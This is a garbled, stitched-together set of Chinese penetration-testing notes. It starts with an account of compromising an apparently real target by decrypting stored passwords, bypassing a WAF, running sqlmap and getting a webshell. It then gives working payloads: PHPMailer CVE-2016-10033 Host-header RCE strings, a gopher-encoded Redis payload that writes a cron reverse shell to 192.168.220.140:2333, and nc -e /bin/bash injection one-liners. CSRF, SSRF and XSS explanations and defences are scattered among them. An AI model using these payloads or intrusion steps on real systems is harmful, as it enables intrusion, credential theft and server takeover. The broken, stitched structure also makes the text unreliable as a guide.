    发现了插入账户的SQL语句。其密码是加密过的


    cmd5解不开，看了下密文是33位加密。
    但是登录过程中，密码是RSA加密过后传输的，而后端居然是33位的md5加密


    有源代码，追踪了一下登录了相关方法


    密码传入后，调用了CommFun.EnPwd进行了一次加密。
    追踪EnPwd方法


    可以看到，传入进来的密码是RSA类型，先进行了一次RSA解密，然后进行了一次DES加密。
    追踪DESEncrypt.Encrypt方法。


    这里是将Encrypt方法封装了一下，并传入加密key。
    其核心加密方法为下：


    并且，在该类里。还定义了解密方法


    得到了加密方法和解密方法以及key。那么只需要将其单独拉出来调用就可以了


    将得到加密字符进行解密，得到结果


    尝试登录

    • 柳暗花明拿下目标shell
      准备尝试绕过SQL过滤。
      就在这时候，我发现了一处SQL注入点。


    某方法接收了两个参数，却只对一个参数进行了过滤。
    在目标网站上测验


    存在注入，发现存在waf使用垃圾参数填充成功绕过waf


    直接上sqlmap安心的跑，得到系统账户以及密文


    将得到的密文进行解密，得到结果


    尝试登录


    经过之前的审计，发现了很多接口都存在漏洞，现在成功登录了。岂不是随便getshell

    直接ueditor带走

    CVE-2022-1388命令执行F5 BIG-IP iControl REST

    漏洞概述

    2022年5月6日，F5官方发布了BIG-IP iControl REST的风险通告，
    漏洞编号为CVE-2022-1388,漏洞等级为严重。

    F5 BIG-IP是美国F5公司的一款集成了网络流量、应用程序安全管理、负载均衡等功能的应用交付平台。

    iControl REST是iControl框架的演变，使用REpresentational State Transfer。这允许用户或脚本与设备之间进行轻量级、快速的交互。

    组件：F5 BIG-IP iControl REST
    漏洞类型：身份验证绕过
    影响：命令执行
    简述：该漏洞允许未经身份验证的攻击者通过管理口或自身ip地址对BIG-IP系统进行系统访问，以执行任 意系统命令，
    创建或删除文件以及禁用BIG-IP上的服务。

    漏洞验证

    版本：BIGIP-13.1.3.3-0.0.6
    需要到F5官方去进行账号注册后，要半天时间才能收到激活邮件，才能下载F5的镜像，然后需要用邮件中发送的激活码将F5激活。

    参考安装
    https://blog.csdn/weixin_37569048/article/details/100052755

    我这里选择的是低版本，
    系统用户账号密码：root/default，web密码：admin/admin。
    高版本激活比较复杂，还需要更改系统密码，web密码也有更改，在网上没找到。

    F5官网：F5官网
    https://www.f5/trials
    F5下载地址：下载
    https://login.f5/resource/login.jsp?ctx=719748

    banner

    访问 地址ip+/mgmt/shared/authn/login，如果返回中存在 resterrorresponse，则说明存在漏洞。

    php-RCE+Struts2拿webshell

    原地址: 第六十二课-拿webshell篇-命令执行漏洞拿webshell
    Cracer网络渗透全部教程

    普通权限 命令执行 拿 webshell




    CMD echo 写入一句话 php文件





    同级目录写入文件

    菜刀连接


    Struts2 拿 webshell



    Wordpress 4.6 PwnScriptum RCE命令执行

    目标介绍

    WordPress 是一种使用 PHP 语言开发的博客平台，
    用户可以在支持 PHP 和 MySQL 数据库的服务器上架设属于自己的网站。
    也可以把 WordPress 当作一个内容管理系统（CMS）来使用。

    WordPress有许多第三方开发的免费模板，安装方式简单易用。
    不过要做一个自己的模板，则需要你有一定的专业知识。
    比如你至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
    WordPress官方支持中文版，同时有爱好者开发的第三方中文语言包，如wopus中文语言包。WordPress拥有成千上万个各式插件和不计其数的主题模板样式。

    漏洞来源

    历史漏洞CVE-2016-10033
    PHPMailer
    WordPress 使用 PHPMailer 组件向用户发送邮件。
    PHPMailer(版本 < 5.2.18)
    存在远程命令执行漏洞，攻击者只需巧妙地构造出一个恶意邮箱地址，即可写入任意文件，
    造成远程命令执行的危害。

    CVE-2016-10033 https://paper.seebug/161/

    影响版本

    WordPress <= 4.6.0 PHPMailer < 5.2.18

    CVE-2016-10033 Vulhub靶场搭建

     编译及运行测试环境

docker-compose build
docker-compose up -d

    初始化管理员用户名和密码
    访问http://your-ip:8080/



    复现过程

    漏洞缺陷处在后台找回密码的地方
    密码重置界面/wp-login.php?action=lostpassword

    在找回密码时WordPress会使用PHPmailer发送重置密码的邮件，
    这个时候PHPmailer<=5.2.18时存在RCE。

    http://127.0.0.1:8080/wp-login.php?action=lostpassword


    登录页点击忘记密码，在用户名或电子邮件地址输入框输入aming（我注册时填的是aming）。
    点击获取新密码，使用burp拦截抓包。

    利用条件&问题注意点

    1.执行的命令不能包含一些特殊的字符，例如 :，'，"和管道符等。
    所以我们需要将待执行的命令放到第三方网站中
    然后通过curl -o /tmp/rce example/shell.sh的方法先将他下载到/tmp目录中，再去执行
    2.该命令将转换为小写字母
    3.命令需要使用绝对路径
    4.需要知道一个现有的用户名，这里是aming

    命令只在服务器端执行命令、不会显示在客户端

    解决办法

    1、payload中run{
   }里面所有 / 用 ${
   substr{
   0}{
   1}{
   $spool_directory}} 代替

2、payload中run{
   }里面所有 空格 用 ${
   substr{
   10}{
   1}{
   $tod_log}} 代替

Payload,在tmp处添加success文件
xxxxxx(any -froot@localhost -be ${
   run{
   /bin/touch /tmp/success}} null) 

target(any -froot@localhost -be ${
   run{
   ${
   substr{
   0}{
   1}{
   $spool_directory}}bin${
   substr{
   0}{
   1}{
   $spool_directory}}touch${
   substr{
   10}{
   1}{
   $tod_log}}${
   substr{
   0}{
   1}{
   $spool_directory}}tmp${
   substr{
   0}{
   1}{
   $spool_directory}}success}} null)

    修改请求头Host的值
    将Host的值完全修改为payload，不再包含IP地址

    POST /wp-login.php?action=lostpassword HTTP/1.1

Host: target(any -froot@localhost -be ${
   run{
   ${
   substr{
   0}{
   1}{
   $spool_directory}}bin${
   substr{
   0}{
   1}{
   $spool_directory}}touch${
   substr{
   10}{
   1}{
   $tod_log}}${
   substr{
   0}{
   1}{
   $spool_directory}}tmp${
   substr{
   0}{
   1}{
   $spool_directory}}success}} null)

Connection: close

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Accept: */*

Content-Length: 58

Content-Type: application/x-www-form-urlencoded



wp-submit=Get+New+Password&redirect_to=&user_login=aming




    ┌──(root            
                
                    
                    
     

     
 
 
    漏洞挖掘-代码审计-CSRF/SSRF/Xss
     
 
      
  
    • CSRF/XSRF Cross—Site Request Forgery 请求伪造 跨站点请求伪造
      • 
  
    • 
   
        
    
      • CSRF防御
        • 
    
      • CSRF与XSS的区别
        • 
   
       
      • 
  
    • ssrf常用协议
      • 
  
    • 
   
        
    
      • ssrf防御
        • 
    
      • php常用的伪协议
        • 
    
      • 常用函数
        • 
   
       
      • 
  
    • XSS多场景实战防御机制 Bypass绕过
      • 
  
    • 
   
        
    
      • 存储型XSS
        • 
   
       
      • 
  
    • SSRF服务器端 请求伪造 Server-Side Request Forgery
      • 
  
    • ssrf利用 ridis打内网
      • 
  
    • 禁用 127.0.0.1 后如何绕过，支持哪些协议
      • 
  
    • 原理
      • 
  
    • 危害
      • 
  
    • 出现场景
      • 
  
    • 
   
        
    
      • 
     
          
      
        • SSRF漏洞原理与利用
          • 
      
        • 
       
            
        
          • (Cross Site Request Forgery)攻击，中文名：跨站请求伪造
            • 
       
           
          • 
     
         
        • 
   
       
      • 
  
    • 代码审计中远程命令执行漏洞
      • 
  
    • RCE远程命令/代码执行 OS command injection
      • 
  
    • 
   
        
    
      • 概述
        • 
    
      • 命令注入Command Injection
        • 
    
      • RCE 漏洞函数
        • 
    
      • 
     
          
      
        • 代码执行
          • 
      
        • 命令注入执行
          • 
     
         
        • 
   
       
      • 
  
    • 示例
      • 
  
    • 
   
        
    
      • pboot cms 存在RCE漏洞
        • 
   
       
      • 
  
    • 使远程服务器执行“whoami”的命令
      • 
  
    • Java代码审计
      • 
  
    • 
   
        
    
      • 注入
        • 
   
       
      • 
  
    • CodeQLpy - java
      • 
  
    • seay
      • 
  
    • fortify
      • 
  
    • 
   
        
    
      • 内存的基本概念
        • 
    
      • 
     
          
      
        • 差异备份 注入
          • 
     
         
        • 
    
      • java基本语法
        • 
   
       
      • 
  
    • 代码审计
      • 
  
    • 实战渗透-fofa-dirBrute-代码审计-构造poc-ueditor-解密-过waf-Godzilla
      • 
  
    • CVE-2022-1388命令执行F5 BIG-IP iControl REST
      • 
  
    • 漏洞概述
      • 
  
    • 漏洞验证
      • 
  
    • 
   
        
    
      • banner
        • 
   
       
      • 
  
    • php-RCE+Struts2拿webshell
      • 
  
    • 普通权限 命令执行 拿 webshell
      • 
  
    • 
   
        
    
      • CMD echo 写入一句话 php文件
        • 
    
      • 菜刀连接
        • 
   
       
      • 
  
    • Struts2 拿 webshell
      • 
  
    • Wordpress 4.6 PwnScriptum RCE命令执行
      • 
  
    • 目标介绍
      • 
  
    • 漏洞来源
      • 
  
    • 影响版本
      • 
  
    • CVE-2016-10033 Vulhub靶场搭建
      • 
  
    • 复现过程
      • 
  
    • 
   
        
    
      • 利用条件&问题注意点
        • 
    
      • 解决办法
        • 
   
       
      • 
  
    • 漏洞利用
      • 
  
    • 
   
        
    
      • ping 一下docker宿主机
        • 
    
      • 开启 nc 监听
        • 
    
      • 准备payload 下载环境
        • 
    
      • 
     
          
      
        • 下载地址
          • 
      
        • 放入反弹payload
          • 
     
         
        • 
    
      • 手动利用
        • 
    
      • POC
        • 
    
      • EXP构造
        • 
    
      • 反弹shell
        • 
    
      • 知道网站根路径写入webshell利用
        • 
   
       
      • 
  
    • 漏洞解析
      • 
  
    • 未授权访问RCE——XXL-JOB executor
      • 
  
    • 漏洞复现-CVE-2021-26855 2021年3月 Exchange Server RCE
      • 
  
    • 漏洞概述
      • 
  
    • 影响版本
      • 
  
    • 环境搭建
      • 
  
    • 
   
        
    
      • 安装AD域控
        • 
    
      • 下一步到安装
        • 
    
      • 点击"将此服务器提升为域控制器"
        • 
    
      • 设置密码
        • 
    
      • 显示无法创建DNS服务器委派，无视，下一步
        • 
    
      • 选择安装的位置以及日志文件位置
        • 
    
      • 如果提示
        • 
    
      • 安装完成后自动重启即完成。
        • 
    
      • 安装 Exchange Server 2016
        • 
    
      • 开始安装，选择不更新。
        • 
    
      • 
     
          
      
        • 启用exchange自带的杀毒
          • 
     
         
        • 
    
      • 配置先决条件出错。
        • 
    
      • 安装成功后访问https://localhost/ecp 即可到达exchange管理中心。
        • 
    
      • 
     
          
      
        • 使用域名\用户名，密码即可登录管理中心。
          • 
     
         
        • 
   
       
      • 
  
    • 漏洞利用
      • 
  
    • 
   
        
    
      • 尝试 CVE-2021-26855 SSRF漏洞。
        • 
    
      • 执行exp
        • 
   
       
      • 
  
    • 修复方式
      • 
  
    • JAVA 常见漏洞
      • 
  
    • 
   
        
    
      • 
     
          
      
        • Java vs PHP
          • 
      
        • 
       
            
        
          • Java Web的常见概念
            • 
       
           
          • 
      
        • Java Web常见漏洞分析
          • 
      
        • 
       
            
        
          • Java Web常见概念
            • 
        
          • Servlet
            • 
        
          • JSP(Java Server Pages)
            • 
        
          • JDBC(Java Database Connectivity)
            • 
        
          • JavaBean
            • 
       
           
          • 
      
        • Java Web常见漏洞分析
          • 
      
        • 命令执行（JSP一句话木马）
          • 
      
        • 免杀后门
          • 
      
        • 防范方法
          • 
      
        • SQL注入
          • 
      
        • 条件竞争（Servlet线程不安全）
          • 
      
        • SSRF
          • 
      
        • 文件上传
          • 
      
        • 代码执行（Java反射机制）
          • 
      
        • 任意文件读取/目录遍历攻击
          • 
      
        • 任意文件读取
          • 
     
         
        • 
   
       
      • 
  
    • SSRF服务端请求伪造(Server-Side Request Forgery)
      • 
  
    • 
   
        
    
      • 漏洞原理
        • 
    
      • 靶场设计拓扑图
        • 
    
      • PHP
        • 
    
      • 判断 SSRF 是否存在
        • 
    
      • 
     
          
      
        • 探测内网端口
          • 
      
        • 目录扫描
          • 
      
        • file协议读取本地 文件 信息
          • 
      
        • 反弹shell
          • 
      
        • 攻击 MySQL 未授权
          • 
      
        • 
       
            
        
          • 
         
              
          
            • 查询数据库
              • 
          
            • 提权
              • 
         
             
            • 
       
           
          • 
      
        • 攻击fastcgi
          • 
      
        • CVE-2017-12615 Tomcat 任意写文件漏洞，
          • 
      
        • XML 实体注入
          • 
      
        • 代码注入
          • 
      
        • SQL 注入
          • 
      
        • 命令执行
          • 
      
        • 攻击 Redis
          • 
      
        • 
       
            
        
          • Redis unauth
            • 
        
          • - Redis auth
            • 
        
          • 通过header CRLF 注入
            • 
        
          • curl命令/gopher协议-远程攻击内网redis
            • 
        
          • 使用dict协议向Redis数据库写shell
            • 
        
          • 主从复制反弹 shell
            • 
       
           
          • 
     
         
        • 
    
      • 【Burp系列】超全CSRF请求伪造漏洞实验总结
        • 
    
      • 跨站点请求伪造（CSRF）
        • 
    
      • 
     
          
      
        • 1、简述：
          • 
      
        • 2、影响：
          • 
      
        • 3、原理：
          • 
     
         
        • 
    
      • 站点和源之间的区别
        • 
    
      • 
     
          
      
        • `也被称为“One Click Attack”或者Session Riding`
          • 
      
        • 
       
            
        
          • 一种对网站的恶意利用漏洞
            • 
        
          • 
         
              
          
            • 
           
                
            
              • 但你不能保证以下情况不会发生：
                • 
           
               
              • 
         
             
            • 
       
           
          • 
     
         
        • 
   
       
      • 
  
    • CSRF攻击防范/防护
      • 
  
    • 
   
        
    
      • 验证请求来源 对请求进行校验 只接受来自信任的源的请求
        • 
    
      • 设置 SameSite
        • 
    
      • 双因子验证：
        • 
    
      • 防止 XSS：
        • 
    
      • 
     
          
      
        • 
       
            
        
          • 
         
              
          
            • 然而，这种方法并非万无一失。
              • 
         
             
            • 
       
           
          • 
      
        • 在请求地址中添加 token 并验证
          • 
      
        • 在 HTTP 头中自定义属性并验证
          • 
     
         
        • 
   
       
      • 
  
    • Cross Site Scripting 跨站脚本攻击
      • 
  
    • 
   
        
    
      • Xss通用明文 &&表单劫持
        • 
    
      • 
     
          
      
        • 跨站脚本攻击漏洞概念，
          • 
      
        • 漏洞原理和危害，
          • 
      
        • 掌握反射型、存储型XSS漏洞利用方法
          • 
     
         
        • 
    
      • web安全工程师-03-XSS漏洞原理与利用
        • 
   
       
      • 
  
    • 第一章：XSS基础
      • 
  
    • 
   
        
    
      • 1.1 XSS介绍与原理~1
        • 
    
      • 1.2 存储型XSS实战
        • 
    
      • 1.3 反射型XSS实战
        • 
    
      • 1.4 DOM型XSS实战
        • 
    
      • 1.5 XSS辅助测试工具
        • 
    
      • 2.3 反射型XSS多场景实战及Bypass详解~1
        • 
    
      • 
     
          
      
        • payload 多次 url 编码
          • 
     
         
        • 
    
      • 2.4 DOM型XSS多场景实战及Bypass详解~1
        • 
   
       
      • 
  
    • 第三章：XSS高级
      • 
  
    • XSS扫描器
      • 
  
    • XSS 的防御
      • 
 
     
 

     

    CSRF/XSRF Cross—Site Request Forgery 请求伪造 跨站点请求伪造
     

     

    CSRF防御
     

    尽量使用 POST
设置 HttpOnly

验证 HTTP Referer 字段
在请求地址中     对敏感信息的操作  添加 安全的token 并验证
在 HTTP 头中自定义属性并验证

对敏感信息的操作增加安全的验证码/密码；

对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：
 
> --
> --对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等。
> 
> 
> 如果你没有读太明白,不要犹豫,请再读一遍啦 你可以通过“Cross-site request
> forgery”对应的测试栏目，来进一步的了解该漏洞

     

    其中 Web A 为存在 CSRF 漏洞的网站，Web B 为攻击者构建的恶意网站，User C 为 Web A 网站的合法用户。
     

    用户 C 打开浏览器，访问受信任网站 A，输入用户名和密码请求登录网站 

A在用户信息通过验证后，网站 A 产生 Cookie 信息并返回给浏览器，此时用户登录网站 A 成功，可以正常发送请求到网站 

A用户未退出网站 A 之前，在同一浏览器中，打开一个 TAB 页访问网站 B

网站 B 接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点 A

浏览器在接收到这些攻击性代码后，根据网站 B 的请求，在用户不知情的情况下携带 Cookie 信息，向网站 A 发出请求。

网站 A 并不知道该请求其实是由 B 发起的，所以会根据用户 C 的 Cookie 信息以 C 的权限处理该请求，导致来自网站 B 的恶意代码被执行。

     

     
只要不关闭浏览器或者退出登录
网站的cookie在浏览器中不会过期

而在这个期间，
攻击者发送了构造好的csrf脚本或包含csrf脚本的链接，执行一些用户不想做的功能（比如是添加账号等）

伪造用户的浏览器的请求
向访问一个用户自己曾经认证访问过的网站发送出去，使目标网站接收并误以为是用户的真实操作而去执行命令。
 常用于盗取账号、转账、发送虚假消息等。
攻击者利用网站对请求的验证漏洞而实现这样的攻击行为，网站能够确认请求来源于用户的浏览器，却不能验证请求是否源于用户的真实意愿下的操作行为。
 




假设某银行网站 A 以 GET 请求来发起转账操作，转账的地址为www.xxx.com/transfer.do?accountNum=l000l&money=10000

参数 accountNum 表示转账的账户，参数 money 表示转账金额。

 而某大型论坛 B 上，一个恶意用户上传了一张图片，而图片的地址栏中填的并不是图片的地址，而是前而所说的砖账地址：
 
当你登录网站 A 后，没有及时登出，这时你访问了论坛 B，不幸的事情发生了，你会发现你的账号里面少了 10000 块… 

为什么会这样呢，在你登录银行 A 时，你的浏览器端会生成银行 A 的 cookie，而当你访问论坛 B 的时候，页面上的标签需要浏览器发起一个新的 HTTP 请求，以获得图片资源，当浏览器发起请求时，请求的却是银行 A 的转账地址

并且会带上银行 A 的 cookie 信息，结果银行的服务器收到这个请求后，会以为是你发起的一次转账操作，因此你的账号里边便少了 10000 块。 当然，绝大多数网站都不会使用 GET 请求来进行数据更新，



因此，攻击者也需要改变思路，与时俱进。 假设银行将其转账方式改成 POST 提交，而论坛 B 恰好又存在一个 XSS 漏洞，恶意用户在它的页面上植入如下代码：
    var form = document.forms('auto');
    form.submit();

如果你此时恰好登录了银行 A，且没有登出，当你打开上述页面后，脚本会将表单 aaa 提交，把 accountNum 和 money 参数传递给银行的转账地址

 
 
 
同样的，银行以为是你发起的一次转账会从你的账户中扣除 10000 块


常见利用

document.forms[0].submit(); 



     

     
 
    简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也成为"one
     click"攻击。
     很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。
     这里列举一个场景解释一下，希望能够帮助你理解。 场景需求： 小黑想要修改大白在购物网站tianxiewww.xx上填写的会员地址。
     先看下大白是如何修改自己的密码的： 登录—修改会员信息，提交请求—修改成功。 所以小黑想要修改大白的信息，他需要拥有：1，登录权限
     2，修改个人信息的请求。
     
 
    但是大白又不会把自己xxx网站的账号密码告诉小黑，那小黑怎么办？
     于是他自己跑到www.xx上注册了一个自己的账号，然后修改了一下自己的个人信息（比如：E-mail地址），他发现修改的请求是：
     【http://www.xxx/edit.php?email=xiaohei@88&Change=Change】
     于是，他实施了这样一个操作：把这个链接伪装一下，在小白登录xxx网站后，欺骗他进行点击，小白点击这个链接后，个人信息就被修改了,小黑就完成了攻击目的。
     
 
    为啥小黑的操作能够实现呢。有如下几个关键点：
     1.www.xxx这个网站在用户修改个人的信息时没有过多的校验，导致这个请求容易被伪造;
     —因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。
     2.小白点击了小黑发给的链接，并且这个时候小白刚好登录在购物网上;
     —如果小白安全意识高，不点击不明链接，则攻击不会成功，又或者即使小白点击了链接，但小白此时并没有登录购物网站，也不会成功。
     —因此，要成功实施一次CSRF攻击，需要“天时，地利，人和”的条件。 当然，如果小黑事先在xxx网的首页如果发现了一个XSS漏洞，则小黑可能会这样做：
     欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，小白中招，小黑拿到小白的cookie，然后小黑顺利登录到小白的后台，小黑自己修改小白的相关信息。
     

     

    CSRF与XSS的区别
     

    CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，
     而XSS是直接盗取到了用户的权限，然后实施破坏。
     

    ssrf常用协议
     

    file 用于读取文件
     dict 用于探测一些端口 以及数据库信息
     

    ssrf.php?url=dict://x.x.x.x:$端口$
ssrf.php?url=dict://x.x.x.x:6379/info 判断是否redis设置了密码
ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$用于爆破

     

    LDAP 目录扫描
     TFTP 它允许客户端从远程主机获取文件或将文件上传至远程主机 上传shell
     sftp
     gopher
     

    ssrf防御
     

    对所有输入进行严格的验证和过滤：
     

    开发人员在编写Web应用程序时应对所有输入数据进行严格的验证和过滤，以确保不会将任何恶意代码或非法请求发送到受害者服务器。
     

    使用URL白名单：开发人员可以使用白名单技术限制应用程序仅向可信的服务器发送请求，例如内部服务器或特定的Web API。
     

    限制服务器端请求发出范围：在服务器上的Web应用程序必须限制服务器端请求的发出范围，例如通过禁止或限制特定的协议、域名或IP地址，以避免攻击者可以利用SSRF漏洞来发送恶意请求。
     

    防火墙保护：使用防火墙的隔离技术可帮助防止恶意代码和非法请求进入Web应用程序，并限制其对其他系统的访问。
     

    禁止不需要的协议、
     统一返回信息、
     限制请求的端口
     

      
 
    • 验证和过滤用户输入：对于用户可控参数，应该验证和过滤输入，确保只允许有效的URL和受信任的主机地址。
      • 
 
    • 使用白名单：限制应用程序可以访问的资源和外部服务，仅允许必要的请求。
      • 
 
    • 内网隔离：将应用程序和内部资源放置在独立的安全网络中，防止直接访问内部系统。
      • 
 
    • 加强监控和日志记录：及时检测异常请求并记录相关信息，以便追溯和响应安全事件。
      • 

     

    php常用的伪协议
     

    filter
file
ftp
http
https
php
data
glob
phar
expect需要扩展

     

    常用函数
     

    curl函数
file_get_contents()函数
fsockopen()

     

    XSS多场景实战防御机制 Bypass绕过
     

    存储型XSS
     


     
     
     
     
     
     


     
     

     


     
     
     


     
     
     
     
     


     
     
     


     
     
     
     

      
 
    • 全局 配置文件
       
      • 

     


     
     
     
     
     
     
     
     
     
     
     
     
     


     
     
     去掉空格 截断函数
     

     


     
     反斜杠 处理
     

     

    处理 编码问题
     


     
     
     
     数据展示 的 类
     


     
     实体转义 标签 防止 执行
     
     
     
     


     
     


     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     
     

    输入 没做处理
     
     

    输出 做了处理 没做完全
     
     
     

      
 
    • 修复 实体转义
       
       
       
       
       
       
       
       
      • 

     


     
     
     
     
     


     
     
     
     
     
     
     
     
     

    编写 payload
     


     
     
     
     
     

    长度限制 添加注释
     


     
     

     

    注释 闭合 网页标签
     


     
     
     


     
     
     
     dom节点
     
     
     


     
     


     
     
     
     
     
     
     

    多段提交
     注释 执行
     

    多点限制 加密 编码
     取值 得值 谨慎
     

     

    SSRF服务器端 请求伪造 Server-Side Request Forgery
     

    ssrf利用 ridis打内网
     

    curl命令
gopher协议
远程攻击内网redis


gopher协议是比http协议更早出现的协议，现在已经不常用了，但是在SSRF漏洞利用中gopher可以说是万金油，
因为可以使用gopher发送各种格式的请求包，这样就可以解决漏洞点不在GET参数的问题了。 

gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。

此种方法能攻击成功的前提条件是：redis是以root权限运行的。

payload2如下：

curl -v 'http://xxx.xxx.xx.xx/xx.php?url=
gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a'
redis命令进行了两次url编码，
通过gopher协议伪造的请求包用curl命令来发送；

payload采用的是bash反弹，定时程序路径是/var/spool/cron/root

发送请求之前在公网机192.168.220.140开启nc监听端口2333

     

    禁用 127.0.0.1 后如何绕过，支持哪些协议
     

    CRLF 是指cr回车、lf换行，



url单、双编码
将/r/n换为ascii

短网址
进制转换
302跳转
DNS重绑

     

    原理
     

    服务端提供了能够从其他服务器应用获取数据的功能，我们服务端请求的目标都是与该请求服务器处于同一内网的资源服务，但是如果没有对这个请求的
     

    目标地址、文件等做充足的过滤和限制，攻击者可通过篡改这个请求的目标地址来进行伪造请求，进行未授权访问。
     

    危害
     

    扫描资产
     获取敏感信息
     攻击内网服务器
     访问大文件 造成溢出
     通过redis 写入webshell
     

    出现场景
     

    社会化分享
     转码
     在线翻译
     远处的非本地图片加载下载
     图片或者文章的收藏
     网站采集抓取
     

       
允许攻击者在受攻击的应用程序上执行未经授权的网络请求。下面是SSRF漏洞的详细介绍以及可能导致的危害：  
   
 1. 漏洞原理：SSRF漏洞通常出现在应用程序中存在用户可控的输入参数，攻击者可以操纵这些参数，使应用程序发起指向内部网络或外部互联网的请求。  
       
 2. 攻击方式：攻击者利用SSRF漏洞可以发起以下类型的攻击：  
       
     - 访问内部资源：攻击者可以通过指定内部IP地址或域名，访问应用程序所在服务器内部的资源，如数据库、管理界面等。  
     - 探测内网服务：通过发送特定请求（如访问本地API、敏感文件等），攻击者可以探测目标网络的拓扑结构和敏感信息。  
     - 攻击其他系统：攻击者可以利用SSRF向外部服务器发送恶意请求，包括针对内网的攻击、远程代码执行、DDoS攻击等。  
 3. 危害与风险：  
       
     - 数据泄露：攻击者可以利用SSRF漏洞访问内部资源并窃取敏感数据，例如数据库中的用户信息、API密钥等。  
     - 内网攻击：通过访问内部服务或发起内网攻击，攻击者可以进一步侵入网络和系统，造成更严重的后果。  
     - 服务器资源滥用：攻击者可以利用SSRF漏洞发送大量外部请求，导致服务器资源过载、服务不可用以及额外的带宽消耗。  
     - 完全控制：如果攻击成功，攻击者可能获得对服务器的完全控制权，并在其上执行任意操作。  
   
 

   
 总之，SSRF漏洞可能导致严重的安全威胁，攻击者可以通过它窃取数据、攻击内部网络以及滥用服务器资源。因此，开发者和系统管理员应密切关注并采取措施来防止和及时修复SSRF漏洞。

# SSRF getshell

[https://segmentfault.com/a/1190000021960060](https://segmentfault.com/a/1190000021960060)

[https://xz.aliyun.com/t/9371](https://xz.aliyun.com/t/9371) [https://forum.butian.net/share/1085](https://forum.butian.net/share/1085)

   
 ## SSRF 服务端请求伪造  
 服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。  
   
 对外网、服务器所在内网、本地进行端口扫描，获取一些服务的版本信息；  
 攻击运行在内网或本地的应用程序  
 对内网 WEB 应用进行指纹识别，  
 通过访问默认文件实现(如：readme文件)；  
   
 攻击内外网的 web 应用，主要是使用 GET 参数就可以实现的攻击  
 (如：Struts2，sqli)；  
 下载内网资源(如：利用file协议读取本地文件等)；  
 进行跳板；无视cdn；利用Redis未授权访问，HTTP CRLF注入实现getshell  
   
 ### 防御  
   
 ```cpp  
 1.限制协议：仅允许http和https请求。 不让使用伪协议  
 2.限制IP：避免应用被用来获取内网数据，攻击内网。  
 3.限制端口:限制请求的端口为http常用的端口，比如，80,443,8080,8090。  
 4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。  
 5.统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。  
 

### 测试过程

 有回显  
 直接通过页面加载出目标资产，  
 可先尝试加载http://www.baidu.com 页面确认有ssrf，如果成功的话，  
 可进一步将百度换成内网IP，通过fuzz扫描内网资产。  
   
 无回显  
   
 1.先配合dnslog平台，测试dnslog平台能否获取到服务器的访问记录，  
 如果没有对应记录，也可能是服务器不出网造成的，  
 利用时可以通过请求响应时间判断内网资产是否存在，  
 然后再利用内网资产漏洞（比如redis以及常见可RCE的web框架）证明漏洞的有效性。  
   
 "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."  
   
 "... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\aa"> ..."  
   
 2.使用burp的collaborator来进行尝试  
 3.开启apache服务，  
 在存在ssrf处访问http://10.1.1.200(本机服务地址)，查看服务器日志信息，  
 打开日志确定是否被访问,确定是否存在ssrf漏洞。  
   
 


   
 

     

    SSRF漏洞原理与利用
     

    (Cross Site Request Forgery)攻击，中文名：跨站请求伪造
     


     
     
     
     

    针对协议 dos 攻击
     探知内网
     


     
     
     
     
     

    代码审计中远程命令执行漏洞
     

    https://mp.weixin.qq/s/NiVF5dPfJsf-qHXcpZEYJA
     

     

    https://www.kancloud/noahs/src_hacker/2395055
     

    RCE远程命令/代码执行 OS command injection
     

    remote command/code execute
     

    查询的域名后面加一个分号然后加命令即可成功执行命令
     

    或者利用nc命令，反弹shell
     

    && nc -vlp 4444 -e /bin/bash
     

    sudo netstat -plant | grep 4444
     

    nc -vv 10.0.3.198 4444
     

     

    python -c “import pty;pty.spawn(‘/bin/bash’)” //这里要注意引号啊
     
     $(nc -vlp 4444 -e /bin/bash)
     

    |nc -vlp 4444 -e /bin/bash
     

    概述
     

     
 
    RCE漏洞，
     可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
     一般出现 远程系统命令执行 这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
     比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，
     后台会对该IP地址进行一次ping测试，并返回测试结果。
     如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，让应用去调用代码或者系统命令执行函数去处理
     从而让后台进行执行，从而控制整个后台服务器 没有考虑用户是否可以控制这些函数的参数问题，没有做好检测和过滤。
     

     

